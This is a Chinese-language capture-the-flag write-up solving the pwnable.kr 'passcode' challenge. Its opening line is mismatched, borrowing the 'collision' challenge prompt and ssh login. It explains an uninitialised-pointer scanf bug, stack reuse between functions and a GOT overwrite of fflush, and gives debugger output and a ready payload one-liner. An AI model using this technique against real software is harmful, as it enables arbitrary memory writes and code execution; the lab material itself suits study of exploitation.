1 2 3 4 Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnable.kr -p2222 (pw:guest)
登录上,一开始我是没有意识到这个代码里面有什么错误,输入用户名之后,继续输入passcode1。我输入了338150,然后直接报错segment fault了?!怎么会呢,输入怎么会有错。
后面仔细看才发现,scanf的时候,没有取地址&。那scanf的效果实际上是:写入值到地址=passcode1的值的内存中,即[passcode1]地址处的内存,写入值。
如果能够提前控制passcode1的值(栈变量),或许就可以达到任意地址写入的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> void login () { int passcode1; int passcode2; printf ("enter passcode1 : " ); scanf ("%d" , passcode1); fflush(stdin ); printf ("enter passcode2 : " ); scanf ("%d" , passcode2); printf ("checking...\n" ); if (passcode1==338150 && passcode2==13371337 ){ printf ("Login OK!\n" ); system("/bin/cat flag" ); } else { printf ("Login Failed!\n" ); exit (0 ); } } void welcome () { char name[100 ]; printf ("enter you name : " ); scanf ("%100s" , name); printf ("Welcome %s!\n" , name); } int main () { printf ("Toddler's Secure Login System 1.0 beta.\n" ); welcome(); login(); printf ("Now I can safely trust you that you have credential :)\n" ); return 0 ; }
编译:
1 2 3 4 5 6 7 8 9 10 11 12 13 passcode.c: In function ‘login’: passcode.c:9:17: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=] 9 | scanf("%d", passcode1); | ~^ ~~~~~~~~~ | | | | | int | int * passcode.c:14:13: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=] 14 | scanf("%d", passcode2); | ~^ ~~~~~~~~~ | | | | | int | int *
似乎懂一点意思了,应该是上一个函数welcome栈中局部变量可控,下一个函数login中复用了栈,但是栈中的内容没有被清零,因此只要分析函数welcome中的局部变量name和login函数中的passcode1和passcode2在栈中的空间关系,就可以先在函数welcom中控制passcode1或者passcode2的值,也就是控制任意写的地址。然后在函数login中通过scanf的错误写法,控制任意写的值,最后就达到了任意地址写入的目的。
本质原因是因为这两个函数都是由main函数调用的,而且两个函数的传参数量都一样(都是0),因此两个函数的栈帧也是相同的。如果遇到传参不同或者不同步调用,也可以分析出来偏移关系。
如下是调试的时候,函数welcome和函数login的栈布局,可以看到函数栈的起始地址都是相同的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> info frame 0 Stack frame at 0xffffd220: eip = 0x8048609 in welcome; saved eip = 0x804867f called by frame at 0xffffd240 Arglist at 0xffffd218, args: Locals at 0xffffd218, Previous frame's sp is 0xffffd220 Saved registers: eip at 0xffffd21c pwndbg> info frame 0 Stack frame at 0xffffd220: eip = 0x8048564 in login; saved eip = 0x8048684 called by frame at 0xffffd240 Arglist at 0xffffd218, args: Locals at 0xffffd218, Previous frame's sp is 0xffffd220 Saved registers: eip at 0xffffd21c
分析函数welcom中的局部变量name的地址=ebp-0x70;
1 2 3 4 5 0x804862a <welcome+33> mov eax, 0x80487dd 0x804862f <welcome+38> lea edx, [ebp - 0x70] 0x8048632 <welcome+41> mov dword ptr [esp + 4], edx 0x8048636 <welcome+45> mov dword ptr [esp], eax ► 0x8048639 <welcome+48> call __isoc99_scanf@plt <__isoc99_scanf@plt>
分析函数login中的局部变量passcode1的地址=ebp-0x10,passcode2的地址是ebp-0xc;
1 2 3 4 5 6 7 8 9 10 11 0x8048577 <login+19> mov eax, 0x8048783 0x804857c <login+24> mov edx, dword ptr [ebp - 0x10] 0x804857f <login+27> mov dword ptr [esp + 4], edx 0x8048583 <login+31> mov dword ptr [esp], eax ► 0x8048586 <login+34> call __isoc99_scanf@plt <__isoc99_scanf@plt> 0x80485a5 <login+65> mov eax, 0x8048783 0x80485aa <login+70> mov edx, dword ptr [ebp - 0xc] 0x80485ad <login+73> mov dword ptr [esp + 4], edx 0x80485b1 <login+77> mov dword ptr [esp], eax ► 0x80485b4 <login+80> call __isoc99_scanf@plt <__isoc99_scanf@plt>
经过简单的计算,name和passcode1的偏移是96,和passcode2的偏移是100。而name长度最多是100,那么就考虑先使用name控制passcode1中的初始值。
也就是,获取了一个任意地址4字节写入的能力。
利用 利用方式可以考虑plt劫持,可以就近在输入完毕passcode1后,劫持fflush函数到执行system输入flag的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> plt Section .plt 0x8048410-0x80484b0: 0x8048420: printf@plt 0x8048430: fflush@plt 0x8048440: __stack_chk_fail@plt 0x8048450: puts@plt 0x8048460: system@plt 0x8048470: __gmon_start__@plt 0x8048480: exit@plt 0x8048490: __libc_start_main@plt 0x80484a0: __isoc99_scanf@plt pwndbg> x/3i *fflush 0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004 0x8048436 <fflush@plt+6>: push 0x8 0x804843b <fflush@plt+11>: jmp 0x8048410
exp如下:
1 2 python3 -c "import sys; sys.stdout.buffer.write(b'A' * 96 + b'\x04\xa0\x04\x08' + b'134514147')" > ./payload python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode
知识点小结 全局偏移表(GOT,global offset table)的作用是将位置独立的地址重定向到绝对地址;函数连接表(PLT,procedure linkage table)的作用是将位置独立的函数调用重定向到绝对地址。
调用函数fflush的时候,实际上并不是直接到flush的代码去执行,而是根据fflush查询到plt表中,jmp跳转到ds:off_804A004,也就是到got.plt表中,此时这个表中已经填充好了fflush函数的绝对地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .plt:08048430 ; int fflush(FILE *stream) .plt:08048430 _fflush proc near ; CODE XREF: login+2F↓p .plt:08048430 .plt:08048430 stream = dword ptr 4 .plt:08048430 .plt:08048430 jmp ds:off_804A004 .plt:08048430 _fflush endp .got.plt:0804A000 off_804A000 dd offset printf ; DATA XREF: _printf↑r .got.plt:0804A004 off_804A004 dd offset fflush ; DATA XREF: _fflush↑r .got.plt:0804A008 off_804A008 dd offset __stack_chk_fail .got.plt:0804A008 ; DATA XREF: ___stack_chk_fail↑r .got.plt:0804A00C off_804A00C dd offset puts ; DATA XREF: _puts↑r .got.plt:0804A010 off_804A010 dd offset system ; DATA XREF: _system↑r .got.plt:0804A014 off_804A014 dd offset __gmon_start__ .got.plt:0804A014 ; DATA XREF: ___gmon_start__↑r